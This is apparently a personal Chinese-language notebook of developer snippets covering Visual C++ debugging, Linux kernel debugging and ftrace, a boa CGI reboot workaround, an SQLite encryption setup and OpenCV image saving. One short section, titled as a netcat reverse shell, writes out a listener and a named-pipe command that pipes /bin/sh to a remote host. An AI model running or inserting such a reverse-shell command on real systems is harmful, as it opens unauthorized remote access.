几个有用的VC函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_CrtSetBreakAlloc(12683);
 
OutputDebugString("hi");
 
DebugBreak();
 
#define _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
 
_CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF);
_CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG);
 
#pragma warning(disable:4996)
#ifdef WIN32
#pragma message("message body")
#else
#warning "message body"
#endif 
Project->settings->C/C++->Preprocessor->Project options->/P
#define new new(_NORMAL_BLOCK, __FILE__, __LINE__)
sysdig -c spy_users
sed 's/^.\{22\}//'
\\.\pipe\com_1
quiet kgdbwait kgdboc=ttyS0,115200
echo g > /proc/sysrq-trigger
 
set auto-load safe-path .
gdb /usr/src/kernels/linux-2.6.32.27/vmlinux
(gdb) target remote /dev/ttyS0

nc反弹shell

1
nc -lvvp 5555
1
2
mknod /tmp/bp p
/bin/sh 0</tmp/bp | nc 192.168.1.38 5555 1>/tmp/bp
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
 
debugfs=/sys/kernel/debug
 
echo nop > $debugfs/tracing/current_tracer
echo 0 > $debugfs/tracing/tracing_on
echo $$ > $debugfs/tracing/set_ftrace_pid
echo function_graph > $debugfs/tracing/current_tracer
#replace test_proc_show by your function name
echo vfs_read > $debugfs/tracing/set_graph_function
echo 1 > $debugfs/tracing/tracing_on
 
exec "$@"

boa cgi reboot

linux下,boa生成的cgi进程调用

1
system("reboot");

是失效的,解决办法是,另起一root身份的侦听进程A,此cgi进程给进程A发msg,通知进程A进行system("reboot")调用。

拷贝构造函数中的vector成员

以下代码在VC2013中运行报错,但在VC2017中运行良好,应该是VC2013的CArray类有BUG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <vector>
#include <string>
 
using namespace std;
 
void CMFCApplication2Dlg::OnBnClickedButton1()
{
	struct Tst01
	{
		vector<string> t01;
	};
 
	Tst01 tst01;
	tst01.t01.push_back("hi");
	CArray<Tst01, Tst01> arry;
	for (int i = 0; i < 10; i++)
	{
		arry.Add(tst01);
	}
	for (int i = 0; i < 10; i++)
	{
		Tst01 &node = arry.GetAt(i);
		Tst01 nNode(node);  // VC2013中此处报错
		printf("big is %s.\n", nNode.t01[0].c_str());
	}
}

sqlite数据库加密

最好的解决方案是:

1
git clone https://github.com/utelle/wxsqlite3.git

打开里面wxsqlite3\sqlite3secure\build目录下的对应VC工程文件,编译sqlite3shell项目,在wxsqlite3\sqlite3secure\bin-vc12\lib\debug下就为生成的sqlite3shell.exe

加密数据库:

1
2
3
sqlite3shell.exe example.db
sqlite> pragma rekey=123456;
sqlite> .exit

读取数据库:

1
2
3
sqlite3shell.exe example.db
sqlite> pragma key=123456;   <-- 这条语句必须在打开数据库后作为第一条语名执行
sqlite> select * from table1;

自已写的程序中一打开数据库db_,就加一句:

1
sqlite3_key(db_, "123456", 6);

opencv保存内存位图数据到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <opencv2/opencv.hpp>
 
#ifdef _DEBUG
#pragma comment(lib, "opencv_highgui249d.lib")
#pragma comment(lib, "opencv_core249d.lib")
#pragma comment(lib, "opencv_calib3d249d.lib")
#pragma comment(lib, "opencv_imgproc249d.lib")
#else
#pragma comment(lib, "opencv_highgui249.lib")
#pragma comment(lib, "opencv_core249.lib")
#pragma comment(lib, "opencv_calib3d249.lib")
#pragma comment(lib, "opencv_imgproc249.lib")
#endif
 
Mat mat(iHeight, iWidth, CV_8UC3, pData);
Mat yuvMat;
cvtColor(mat, yuvMat, CV_RGB2YUV);
imwrite(path, yuvMat);